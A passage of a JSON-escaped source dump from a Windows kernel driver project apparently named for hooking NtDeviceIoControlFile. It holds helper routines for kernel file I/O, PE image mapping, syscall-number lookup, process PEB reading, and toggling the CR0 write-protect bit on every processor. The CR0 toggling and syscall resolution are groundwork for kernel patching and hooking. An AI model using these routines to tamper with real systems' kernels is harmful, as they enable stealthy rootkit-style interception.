(!NT_SUCCESS(ns))\n {\n return NULL;\n }\n\n ObjNameInf = GetObjectNameByHandle(hFile);\n\n ZwClose(hFile);\n\n return ObjNameInf;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN GetNormalizedModulePath(PANSI_STRING asPath, PANSI_STRING asNormalizedPath)\n{\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n BOOLEAN bRet = FALSE;\n ANSI_STRING asFullPath;\n UNICODE_STRING usPath;\n char *lpszWnd = \"\\\\WINDOWS\\\\\", *lpszNt = \"\\\\WINNT\\\\\", *lpszLetter = \"\\\\SystemRoot\\\\\";\n char *lpszDrivers = \"system32\\\\drivers\\\\\";\n\n if (!strncmp(asPath->Buffer, lpszWnd, min(strlen(lpszWnd), asPath->Length)) ||\n !strncmp(asPath->Buffer, lpszNt, min(strlen(lpszNt), asPath->Length)))\n { \n ULONG Ptr = 0;\n\t\tULONG FullPathLen = 0;\n\t\tchar *lpszFullPath = NULL;\n if (!strncmp(asPath->Buffer, lpszWnd, strlen(lpszWnd)))\n {\n Ptr = (ULONG)strlen(lpszWnd);\n }\n else if (!strncmp(asPath->Buffer, lpszNt, strlen(lpszNt)))\n {\n Ptr = (ULONG)strlen(lpszNt);\n }\n\n FullPathLen = asPath->Length - Ptr + strlen(lpszLetter) + 1;\n lpszFullPath = (char *)ExAllocatePool(NonPagedPool, FullPathLen);\n if (lpszFullPath)\n {\n RtlZeroMemory(lpszFullPath, FullPathLen);\n\n strcpy(lpszFullPath, lpszLetter);\n strncat(lpszFullPath, asPath->Buffer + Ptr, asPath->Length); \n\n RtlInitAnsiString(&asFullPath, lpszFullPath);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ExAllocatePool() fails\\n\");\n return FALSE;\n }\n } \n else\n {\n asFullPath.Buffer = asPath->Buffer;\n asFullPath.Length = asPath->Length;\n asFullPath.MaximumLength = asPath->MaximumLength;\n }\n\n ns = RtlAnsiStringToUnicodeString(&usPath, &asFullPath, TRUE);\n if (NT_SUCCESS(ns))\n {\n POBJECT_NAME_INFORMATION ObjName = GetFullNtPath(&usPath);\n if (ObjName)\n {\n NTSTATUS ns = RtlUnicodeStringToAnsiString(asNormalizedPath, &ObjName->Name, TRUE);\n if (NT_SUCCESS(ns))\n {\n bRet = TRUE; \n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\\n\", ns);\n }\n\n ExFreePool(ObjName);\n } \n\n RtlFreeUnicodeString(&usPath);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\\n\", ns);\n }\n\n if (!bRet)\n {\n ULONG Offset = 0;\n\n\t\tULONG i = 0;\n for (i = 0; i < asFullPath.Length; i++)\n {\n if (asFullPath.Buffer[i] == '\\\\')\n {\n Offset = i + 1;\n }\n }\n\n if (Offset == 0)\n {\n ULONG FullPathLen = asFullPath.Length + strlen(lpszLetter) + strlen(lpszDrivers) + 1;\n char *lpszFullPath = (char *)ExAllocatePool(NonPagedPool, FullPathLen);\n if (lpszFullPath)\n {\n RtlZeroMemory(lpszFullPath, FullPathLen);\n\n strcpy(lpszFullPath, lpszLetter);\n strcat(lpszFullPath, lpszDrivers);\n strncat(lpszFullPath, asFullPath.Buffer, asFullPath.Length); \n\n if (asFullPath.Buffer != asPath->Buffer)\n {\n RtlFreeAnsiString(&asFullPath);\n }\n\n RtlInitAnsiString(&asFullPath, lpszFullPath);\n\n ns = RtlAnsiStringToUnicodeString(&usPath, &asFullPath, TRUE);\n if (NT_SUCCESS(ns))\n {\n POBJECT_NAME_INFORMATION ObjName = GetFullNtPath(&usPath);\n if (ObjName)\n {\n ns = RtlUnicodeStringToAnsiString(asNormalizedPath, &ObjName->Name, TRUE);\n if (NT_SUCCESS(ns))\n {\n bRet = TRUE; \n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlUnicodeStringToAnsiString() fails; status: 0x%.8x\\n\", ns);\n }\n\n ExFreePool(ObjName);\n } \n\n RtlFreeUnicodeString(&usPath);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"RtlAnsiStringToUnicodeString() fails; status: 0x%.8x\\n\", ns);\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ExAllocatePool() fails\\n\");\n }\n }\n }\n\n if (asFullPath.Buffer != asPath->Buffer)\n {\n RtlFreeAnsiString(&asFullPath);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nPVOID GetSysInf(SYSTEM_INFORMATION_CLASS InfoClass)\n{\n NTSTATUS ns;\n ULONG RetSize, Size = 0x100;\n PVOID Info;\n\n while (TRUE) \n { \n if ((Info = ExAllocatePool(NonPagedPool, Size)) == NULL) \n {\n DbgMsg(__FILE__, __LINE__, \"ExAllocatePool() fails\\n\");\n return NULL;\n }\n\n RetSize = 0;\n ns = ZwQuerySystemInformation(InfoClass, Info, Size, &RetSize);\n if (ns == STATUS_INFO_LENGTH_MISMATCH)\n { \n ExFreePool(Info);\n Info = NULL;\n\n if (RetSize > 0)\n {\n Size = RetSize + 0x100;\n } \n else\n break;\n }\n else\n break; \n }\n\n if (!NT_SUCCESS(ns))\n {\n DbgMsg(__FILE__, __LINE__, \"ZwQuerySystemInformation() fails; status: 0x%.8x\\n\", ns);\n\n if (Info)\n ExFreePool(Info);\n\n return NULL;\n }\n\n return Info;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN AllocUnicodeString(PUNICODE_STRING us, USHORT MaximumLength)\n{\n ULONG ulMaximumLength = MaximumLength;\n\n if (MaximumLength > 0)\n {\n if ((us->Buffer = (PWSTR)ExAllocatePool(NonPagedPool, ulMaximumLength)) == NULL)\n return FALSE;\n\n RtlZeroMemory(us->Buffer, ulMaximumLength);\n\n us->Length = 0;\n us->MaximumLength = MaximumLength;\n\n return TRUE;\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN AppendUnicodeToString(PUNICODE_STRING Dest, PCWSTR Source, USHORT Len)\n{\n ULONG ulLen = Len;\n\n if (Dest->MaximumLength >= Dest->Length + Len)\n {\n RtlCopyMemory((PUCHAR)Dest->Buffer + Dest->Length, Source, ulLen);\n Dest->Length += Len;\n\n return TRUE;\n }\n\n return FALSE;\n} \n//--------------------------------------------------------------------------------------\nULONG GetFileSize(HANDLE hFile, PULONG FileSizeHigh)\n{\n FILE_STANDARD_INFORMATION FileStandard;\n IO_STATUS_BLOCK IoStatusBlock;\n\n NTSTATUS ns = ZwQueryInformationFile(\n hFile,\n &IoStatusBlock,\n &FileStandard,\n sizeof(FILE_STANDARD_INFORMATION),\n FileStandardInformation\n );\n if (!NT_SUCCESS(ns))\n {\n DbgMsg(__FILE__, __LINE__, \"ZwQueryInformationFile() fails; status: 0x%.8x\\n\", ns);\n return -1; \n }\n\n if (FileSizeHigh != NULL)\n *FileSizeHigh = FileStandard.EndOfFile.u.HighPart;\n\n return FileStandard.EndOfFile.u.LowPart;\n} \n//--------------------------------------------------------------------------------------\nBOOLEAN ReadFromFile(PUNICODE_STRING FileName, PVOID *Data, PULONG DataSize)\n{\n BOOLEAN bRet = FALSE;\n NTSTATUS ns;\n OBJECT_ATTRIBUTES ObjAttr;\n HANDLE hFile;\n IO_STATUS_BLOCK StatusBlock;\n\n *Data = NULL;\n *DataSize = 0;\n\n InitializeObjectAttributes(&ObjAttr, FileName, \n OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);\n\n ns = ZwOpenFile(\n &hFile, \n FILE_READ_DATA | SYNCHRONIZE, \n &ObjAttr, \n &StatusBlock, \n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \n FILE_SYNCHRONOUS_IO_NONALERT\n );\n if (NT_SUCCESS(ns))\n {\n ULONG FileSize = GetFileSize(hFile, NULL);\n if (FileSize > 0)\n {\n PVOID FileData = ExAllocatePool(NonPagedPool, FileSize);\n if (FileData)\n {\n RtlZeroMemory(FileData, FileSize);\n\n ns = ZwReadFile(hFile, 0, NULL, NULL, &StatusBlock, FileData, FileSize, 0, NULL);\n if (NT_SUCCESS(ns))\n {\n bRet = TRUE;\n *Data = FileData;\n *DataSize = FileSize;\n } \n else \n {\n DbgMsg(__FILE__, __LINE__, \"ZwReadFile() fails; status: 0x%.8x\\n\", ns);\n ExFreePool(FileData);\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ExAllocatePool() fails\\n\");\n }\n }\n\n ZwClose(hFile);\n } \n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN DumpToFile(PUNICODE_STRING FileName, PVOID Data, ULONG DataSize)\n{\n BOOLEAN bRet = FALSE;\n NTSTATUS ns;\n OBJECT_ATTRIBUTES ObjAttr;\n HANDLE hFile;\n IO_STATUS_BLOCK StatusBlock;\n\n InitializeObjectAttributes(&ObjAttr, FileName, \n OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);\n\n ns = ZwCreateFile(\n &hFile,\n FILE_ALL_ACCESS | SYNCHRONIZE,\n &ObjAttr,\n &StatusBlock,\n NULL,\n FILE_ATTRIBUTE_NORMAL,\n 0,\n FILE_OVERWRITE_IF,\n FILE_SYNCHRONOUS_IO_NONALERT,\n NULL,\n 0\n );\n if (NT_SUCCESS(ns))\n {\n ns = ZwWriteFile(hFile, NULL, NULL, NULL, &StatusBlock, Data, DataSize, NULL, NULL);\n if (NT_SUCCESS(ns))\n {\n bRet = TRUE; \n } \n else \n {\n DbgMsg(__FILE__, __LINE__, \"ZwWriteFile() fails; status: 0x%.8x\\n\", ns);\n } \n\n ZwClose(hFile);\n } \n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN DeleteFile(PUNICODE_STRING usFileName)\n{\n BOOLEAN bRet = FALSE; \n OBJECT_ATTRIBUTES ObjAttr;\n IO_STATUS_BLOCK IoStatusBlock;\n HANDLE FileHandle;\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): '%wZ'\\n\", usFileName);\n\n InitializeObjectAttributes(&ObjAttr, usFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);\n\n // open file\n ns = ZwCreateFile(\n &FileHandle,\n DELETE,\n &ObjAttr,\n &IoStatusBlock,\n NULL,\n FILE_ATTRIBUTE_NORMAL,\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n FILE_OPEN,\n FILE_NON_DIRECTORY_FILE,\n NULL,\n 0\n ); \n if (NT_SUCCESS(ns))\n {\n FILE_BASIC_INFORMATION FileBsicInfo;\n FILE_DISPOSITION_INFORMATION FileDispInfo;\n\n ns = ZwQueryInformationFile(\n FileHandle, \n &IoStatusBlock,\n &FileBsicInfo,\n sizeof(FileBsicInfo),\n FileBasicInformation\n );\n if (NT_SUCCESS(ns))\n {\n // chenge file attributes to normal\n FileBsicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;\n \n ns = ZwSetInformationFile(\n FileHandle,\n &IoStatusBlock,\n &FileBsicInfo,\n sizeof(FileBsicInfo),\n FileBasicInformation\n );\n if (!NT_SUCCESS(ns))\n {\n DbgMsg(__FILE__, __LINE__, \"ZwSetInformationFile() fails; status: 0x%.8x\\n\", ns); \n }\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwQueryInformationFile() fails; status: 0x%.8x\\n\", ns); \n }\n\n \n FileDispInfo.DeleteFile = TRUE; \n\n // ... and delete it\n ns = ZwSetInformationFile(\n FileHandle,\n &IoStatusBlock,\n &FileDispInfo,\n sizeof(FILE_DISPOSITION_INFORMATION),\n FileDispositionInformation\n );\n if (!NT_SUCCESS(ns))\n {\n DbgMsg(__FILE__, __LINE__, \"ZwSetInformationFile() fails; status: 0x%.8x\\n\", ns); \n }\n else\n bRet = TRUE;\n\n ZwClose(FileHandle);\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwCreateFile() fails; status: 0x%.8x\\n\", ns);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN LoadImageAsDataFile(PUNICODE_STRING usName, PVOID *Image, PULONG MappedImageSize)\n{ \n PVOID Data = NULL;\n ULONG DataSize = 0;\n\n if (ReadFromFile(usName, &Data, &DataSize))\n {\n PIMAGE_NT_HEADERS32 pHeaders32 = (PIMAGE_NT_HEADERS32)\n ((PUCHAR)Data + ((PIMAGE_DOS_HEADER)Data)->e_lfanew);\n\n PIMAGE_SECTION_HEADER pSection = NULL;\n\n ULONG ImageSize = 0, HeadersSize = 0, NumberOfSections = 0;\n\n if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_I386)\n {\n // 32-bit image\n pSection = (PIMAGE_SECTION_HEADER)\n (pHeaders32->FileHeader.SizeOfOptionalHeader + \n (PUCHAR)&pHeaders32->OptionalHeader);\n\n ImageSize = pHeaders32->OptionalHeader.SizeOfImage;\n HeadersSize = pHeaders32->OptionalHeader.SizeOfHeaders;\n NumberOfSections = pHeaders32->FileHeader.NumberOfSections; \n } \n else if (pHeaders32->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64)\n {\n // 64-bit image\n PIMAGE_NT_HEADERS64 pHeaders64 = (PIMAGE_NT_HEADERS64)\n ((PUCHAR)Data + ((PIMAGE_DOS_HEADER)Data)->e_lfanew);\n\n pSection = (PIMAGE_SECTION_HEADER)\n (pHeaders64->FileHeader.SizeOfOptionalHeader + \n (PUCHAR)&pHeaders64->OptionalHeader);\n\n ImageSize = pHeaders64->OptionalHeader.SizeOfImage;\n HeadersSize = pHeaders64->OptionalHeader.SizeOfHeaders;\n NumberOfSections = pHeaders64->FileHeader.NumberOfSections;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Unkown machine type\\n\");\n ExFreePool(Data);\n return FALSE;\n }\n\n if (*Image = ExAllocatePool(NonPagedPool, ImageSize))\n {\n\t\t\tULONG i = 0;\n // copy headers\n RtlCopyMemory(*Image, Data, HeadersSize);\n\n // copy sections \n for (i = 0; i < NumberOfSections; i++)\n { \n RtlCopyMemory(\n (PUCHAR)*Image + pSection->VirtualAddress, \n (PUCHAR)Data + pSection->PointerToRawData,\n min(pSection->SizeOfRawData, pSection->Misc.VirtualSize)\n );\n\n pSection++;\n }\n\n *MappedImageSize = ImageSize;\n\n return TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ExAllocatePool() ERROR\\n\");\n }\n\n ExFreePool(Data);\n }\n\n return FALSE;\n}\n\nVOID WPOFFx64()\n{\n\tUINT64 cr0 = __readcr0();\n\tcr0 &= 0xfffffffffffeffff;\n\t__writecr0(cr0);\n}\n\nVOID WPONx64()\n{\n\tUINT64 cr0 = __readcr0();\n\tcr0 |= 0x10000;\n\t__writecr0(cr0);\n}\n\n//--------------------------------------------------------------------------------------\n#ifdef WP_STUFF\nvoid __stdcall ClearWp(PVOID Param)\n{\n#ifdef _X86_\n __asm\n { \n mov eax,cr0 \n and eax,not 000010000h\n mov cr0,eax\n }\n#else\n // clear wp-bit in cr0 register\n WPOFFx64();\n#endif // _X_86_\n}\n//--------------------------------------------------------------------------------------\nvoid __stdcall SetWp(PVOID Param)\n{\n#ifdef _X86_\n __asm\n {\n mov eax,cr0\n or eax,000010000h\n mov cr0,eax\n }\n#else\n // set wp-bit in cr0 register\n //_set_wp();\n\tWPONx64();\n#endif // _X_86_\n}\n#endif // WP_STUFF\n//--------------------------------------------------------------------------------------\ntypedef struct _PROCESSOR_THREAD_PARAM\n{\n KAFFINITY Mask;\n PKSTART_ROUTINE Routine;\n PVOID Param;\n\n} PROCESSOR_THREAD_PARAM,\n*PPROCESSOR_THREAD_PARAM;\n\nvoid NTAPI ProcessorThread(PVOID Param)\n{\n PPROCESSOR_THREAD_PARAM ThreadParam = (PPROCESSOR_THREAD_PARAM)Param;\n \n // bind thread to specific processor\n KeSetSystemAffinityThread(ThreadParam->Mask);\n \n // execute payload on this processor\n ThreadParam->Routine(ThreadParam->Param);\n}\n\nvoid ForEachProcessor(PKSTART_ROUTINE Routine, PVOID Param)\n{\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n\tKAFFINITY ActiveProcessors = 0;\n\tKAFFINITY i = 0;\n if (KeGetCurrentIrql() > PASSIVE_LEVEL)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Invalid IRQL (Must be =PASSIVE_LEVEL)\\n\");\n return;\n }\n\n // get bitmask of active processors\n ActiveProcessors = KeQueryActiveProcessors(); \n\n for (i = 0; i < sizeof(KAFFINITY) * 8; i++)\n {\n KAFFINITY Mask = (KAFFINITY)(1 << i);\n // check if this processor bit present in mask\n if (ActiveProcessors & Mask)\n {\n HANDLE hThread;\n PROCESSOR_THREAD_PARAM ThreadParam;\n \n ThreadParam.Mask = Mask;\n ThreadParam.Param = Param;\n ThreadParam.Routine = Routine;\n \n // create thread for this processor\n ns = PsCreateSystemThread(\n &hThread, \n THREAD_ALL_ACCESS, \n NULL, NULL, NULL, \n ProcessorThread, \n &ThreadParam\n );\n if (NT_SUCCESS(ns))\n {\n PVOID Thread; \n // get pointer to thread object\n ns = ObReferenceObjectByHandle(\n hThread,\n THREAD_ALL_ACCESS,\n NULL,\n KernelMode,\n &Thread,\n NULL\n );\n if (NT_SUCCESS(ns))\n {\n // waiting for thread termination\n KeWaitForSingleObject(Thread, Executive, KernelMode, FALSE, NULL);\n ObDereferenceObject(Thread);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ObReferenceObjectByHandle() fails; status: 0x%.8x\\n\", ns);\n } \n\n ZwClose(hThread);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"PsCreateSystemThread() fails; status: 0x%.8x\\n\", ns);\n }\n }\n }\n}\n//--------------------------------------------------------------------------------------\nULONG GetSyscallNumber(char *lpszName)\n{\n // get base address of ntdll.dll, that mapped into the system process\n PVOID NtdllBase = KernelGetModuleBase(\"ntdll.dll\");\n if (NtdllBase)\n {\n // get function addres by name hash\n ULONG FuncRva = KernelGetExportAddress(NtdllBase, lpszName);\n if (FuncRva)\n {\n PUCHAR Func = (PUCHAR)NtdllBase + FuncRva;\n#ifdef _X86_\n // check for mov eax,imm32\n if (*Func == 0xB8)\n {\n // return imm32 argument (syscall numbr)\n return *(PULONG)((PUCHAR)Func + 1);\n }\n#elif _AMD64_\n // check for mov eax,imm32\n if (*(Func + 3) == 0xB8)\n {\n // return imm32 argument (syscall numbr)\n return *(PULONG)(Func + 4);\n }\n#endif\n } \n } \n\n return -1;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN RegQueryValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID *Data, PULONG DataSize)\n{\n BOOLEAN bRet = FALSE;\n PKEY_VALUE_FULL_INFORMATION ValueInformation = NULL;\n ULONG ResultLen = 0;\n UNICODE_STRING usValueName;\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n\n RtlInitUnicodeString(&usValueName, lpwcName);\n\n if (Data && DataSize)\n {\n *Data = NULL;\n *DataSize = 0;\n }\n\n // get required buffer size\n ns = ZwQueryValueKey(\n hKey, \n &usValueName, \n KeyValueFullInformation, \n &ValueInformation, \n 0, \n &ResultLen\n );\n if ((ns == STATUS_BUFFER_TOO_SMALL || \n ns == STATUS_BUFFER_OVERFLOW) && ResultLen > 0)\n {\n // allocate memory for key information\n ValueInformation = (PKEY_VALUE_FULL_INFORMATION)M_ALLOC(ResultLen);\n if (ValueInformation)\n {\n memset(ValueInformation, 0, ResultLen);\n\n // query key information\n ns = ZwQueryValueKey(\n hKey, \n &usValueName, \n KeyValueFullInformation, \n ValueInformation, \n ResultLen, \n &ResultLen\n );\n if (NT_SUCCESS(ns))\n {\n if (Type == REG_NONE || Type == ValueInformation->Type)\n {\n if (Data && DataSize)\n {\n // allocate memory for value data\n if (*Data = M_ALLOC(ValueInformation->DataLength))\n {\n RtlCopyMemory(\n *Data,\n (PUCHAR)ValueInformation + ValueInformation->DataOffset,\n ValueInformation->DataLength\n );\n\n *DataSize = ValueInformation->DataLength;\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n }\n }\n else\n {\n // just say about value existance\n bRet = TRUE;\n } \n } \n else\n {\n DbgMsg(\n __FILE__, __LINE__, \n __FUNCTION__\"() ERROR: Bad value type (%d)\\n\",\n ValueInformation->Type\n );\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwQueryValueKey() fails; status: 0x%.8x\\n\", ns);\n } \n\n M_FREE(ValueInformation);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwQueryValueKey() fails; status: 0x%.8x\\n\", ns);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN RegSetValueKey(HANDLE hKey, PWSTR lpwcName, ULONG Type, PVOID Data, ULONG DataSize)\n{\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n UNICODE_STRING usValueName;\n RtlInitUnicodeString(&usValueName, lpwcName);\n\n ns = ZwSetValueKey(hKey, &usValueName, 0, Type, Data, DataSize);\n if (!NT_SUCCESS(ns))\n {\n DbgMsg(__FILE__, __LINE__, \"ZwSetValueKey() fails; status: 0x%.8x\\n\", ns);\n return FALSE;\n }\n\n return TRUE;\n}\n//--------------------------------------------------------------------------------------\n#ifdef _X86_\n#define PEB_PROCESS_PARAMS_OFFSET 0x10\n#define PROCESS_PARAMS_FLAGS_OFFSET 0x08\n#define PROCESS_PARAMS_IMAGE_NAME_OFFSET 0x38\n#elif _AMD64_\n#define PEB_PROCESS_PARAMS_OFFSET 0x20\n#define PROCESS_PARAMS_FLAGS_OFFSET 0x08\n#define PROCESS_PARAMS_IMAGE_NAME_OFFSET 0x60\n#endif\n\n#define\tPROCESS_PARAMETERS_NORMALIZED\t1\t// pointers are absolute (not self-relative)\n\nBOOLEAN GetProcessFullImagePath(PEPROCESS Process, PUNICODE_STRING ImagePath)\n{\n BOOLEAN bRet = FALSE;\n HANDLE hProcess = NULL;\n \n // get handle to target process\n NTSTATUS ns = ObOpenObjectByPointer(\n Process,\n OBJ_KERNEL_HANDLE,\n NULL,\n 0,\n NULL,\n KernelMode,\n &hProcess\n );\n if (NT_SUCCESS(ns))\n {\n PROCESS_BASIC_INFORMATION ProcessInfo; \n\n // get address of PEB\n ns = ZwQueryInformationProcess(\n hProcess,\n ProcessBasicInformation,\n &ProcessInfo,\n sizeof(ProcessInfo),\n NULL\n );\n if (NT_SUCCESS(ns))\n {\n KAPC_STATE ApcState;\n\n // change context to target process\n KeStackAttachProcess(Process, &ApcState);\n\n __try\n {\n PUCHAR Peb = (PUCHAR)ProcessInfo.PebBaseAddress;\n if (Peb)\n {\n // get pointer to RTL_USER_PROCESS_PARAMETERS\n PUCHAR ProcessParams = *(PUCHAR *)(Peb + PEB_PROCESS_PARAMS_OFFSET);\n if (ProcessParams)\n {\n // get image path\n PUNICODE_STRING ImagePathName = (PUNICODE_STRING)\n (ProcessParams + PROCESS_PARAMS_IMAGE_NAME_OFFSET);\n\n if (ImagePathName->Buffer && ImagePathName->Length > 0)\n {\n // allocate string\n if (AllocUnicodeString(ImagePath, ImagePathName->Length))\n {\n PWSTR lpwcName = NULL;\n ULONG Flags = *(PULONG)(ProcessParams + PROCESS_PARAMS_FLAGS_OFFSET);\n\n if (Flags & PROCESS_PARAMETERS_NORMALIZED)\n {\n // pointer to buffer is absolute address\n lpwcName = ImagePathName->Buffer;\n }\n else\n {\n // pointer to buffer is relative address\n lpwcName = (PWSTR)(ProcessParams + (ULONGLONG)ImagePathName->Buffer);\n }\n\n if (AppendUnicodeToString(ImagePath, lpwcName, ImagePathName->Length))\n {\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"AppendUnicodeToString() ERROR\\n\");\n }\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"AllocUnicodeString() ERROR\\n\");\n }\n }\n }\n }\n }\n __except (EXCEPTION_EXECUTE_HANDLER)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() EXCEPTION\\n\");\n }\n \n KeUnstackDetachProcess(&ApcState);\n }\n else\n {\n // Can't query information about process, probably 'System' or rootkit activity\n } \n\n ZwClose(hProcess);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ObOpenObjectByPointer() fails; status: 0x%.8x\\n\", ns);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN AllocateUserMemory(ULONG Size, PMAPPED_MDL MdlInfo)\n{\n\tPVOID Buffer = NULL;\n MdlInfo->Mdl = NULL;\n MdlInfo->Buffer = NULL;\n MdlInfo->MappedBuffer = NULL;\n\n // allocate kernel-mode buffer in non-paged pool\n Buffer = M_ALLOC(Size);\n if (Buffer)\n {\n // allocate memory descriptor\n PMDL Mdl = IoAllocateMdl(Buffer, Size, FALSE, FALSE, NULL);\n if (Mdl)\n {\n\t\t\tPVOID MappedBuffer = NULL;\n __try\n {\n // lock allocated pages\n MmProbeAndLockPages(Mdl, KernelMode, IoWriteAccess);\n }\n __except (EXCEPTION_EXECUTE_HANDLER)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): MmProbeAndLockPages() EXCEPTION\\n\");\n \n IoFreeMdl(Mdl);\n M_FREE(Buffer);\n \n return FALSE;\n }\n\n // map allocated pages into the user space\n MappedBuffer = MmMapLockedPagesSpecifyCache(\n Mdl, \n UserMode, \n MmCached, \n NULL, \n FALSE, \n NormalPagePriority\n );\n if (MappedBuffer)\n {\n MdlInfo->Mdl = Mdl;\n MdlInfo->Buffer = Buffer;\n MdlInfo->MappedBuffer = MappedBuffer;\n\n return TRUE; \n }\n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): MmMapLockedPagesSpecifyCache() fails\\n\");\n }\n\n MmUnlockPages(Mdl);\n IoFreeMdl(Mdl);\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): IoAllocateMdl() fails\\n\");\n }\n\n M_FREE(Buffer);\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): M_ALLOC() fails\\n\");\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\nvoid FreeUserMemory(PMAPPED_MDL MdlInfo)\n{\n // unmap user-mode address\n MmUnmapLockedPages(MdlInfo->MappedBuffer, MdlInfo->Mdl);\n\n // unlock pages\n MmUnlockPages(MdlInfo->Mdl);\n\n // free memory descriptor\n IoFreeMdl(MdlInfo->Mdl);\n\n // free buffer\n M_FREE(MdlInfo->Buffer);\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN IsWow64Process(PEPROCESS Process, BOOLEAN *bIsWow64)\n{\n HANDLE hProcess = NULL;\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n\n *bIsWow64 = FALSE;\n \n // get handle to target process\n ns = ObOpenObjectByPointer(\n Process,\n OBJ_KERNEL_HANDLE,\n NULL,\n 0,\n NULL,\n KernelMode,\n &hProcess\n );\n if (NT_SUCCESS(ns))\n {\n ULONG_PTR Wow64Info = 0;\n \n ns = ZwQueryInformationProcess(\n hProcess,\n ProcessWow64Information,\n &Wow64Info,\n sizeof(Wow64Info),\n NULL\n );\n if (NT_SUCCESS(ns))\n {\n if (Wow64Info)\n {\n // this is wow64 process\n *bIsWow64 = TRUE;\n }\n }\n else \n {\n DbgMsg(__FILE__, __LINE__, \"ZwQueryInformationProcess() fails; status: 0x%.8x\\n\", ns);\n }\n\n ZwClose(hProcess);\n return TRUE;\n }\n else \n {\n DbgMsg(__FILE__, __LINE__, \"ObOpenObjectByPointer() fails; status: 0x%.8x\\n\", ns);\n }\n\n return FALSE;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/common.h", "content": "#include \n#define XALIGN_DOWN(x, align)(x &~ (align - 1))\n#define XALIGN_UP(x, align)((x & (align - 1))?XALIGN_DOWN(x, align) + align:x)\n\n#define RVATOVA(_base_, _offset_) ((PUCHAR)(_base_) + (ULONG)(_offset_))\n\n#define M_ALLOC(_size_) ExAllocatePool(NonPagedPool, (_size_))\n#define M_FREE(_addr_) ExFreePool((_addr_))\n\n#define XLOWORD(_dw) ((USHORT)(((ULONG)(_dw)) & 0xffff))\n#define XHIWORD(_dw) ((USHORT)((((ULONG)(_dw)) >> 16) & 0xffff))\n\n#define ABSOLUTE(wait) (wait)\n#define RELATIVE(wait) (-(wait))\n\n#define NANOSECONDS(nanos) \\\n (((signed __int64)(nanos)) / 100L)\n\n#define MICROSECONDS(micros) \\\n (((signed __int64)(micros)) * NANOSECONDS(1000L))\n\n#define MILLISECONDS(milli) \\\n (((signed __int64)(milli)) * MICROSECONDS(1000L))\n\n#define SECONDS(seconds) \\\n (((signed __int64)(seconds)) * MILLISECONDS(1000L))\n\n#define IFMT32 \"0x%.8x\"\n#define IFMT64 \"0x%.16I64x\"\n\n#define IFMT32_W L\"0x%.8x\"\n#define IFMT64_W L\"0x%.16I64x\"\n\n#ifdef _X86_\n\n#define IFMT IFMT32\n#define IFMT_W IFMT32_W\n\n#elif _AMD64_\n\n#define IFMT IFMT64\n#define IFMT_W IFMT64_W\n\n#endif\n\nBOOLEAN SetObjectSecurityWorld(HANDLE hObject, ACCESS_MASK AccessMask);\nPVOID KernelGetModuleBase(char *ModuleName);\nULONG 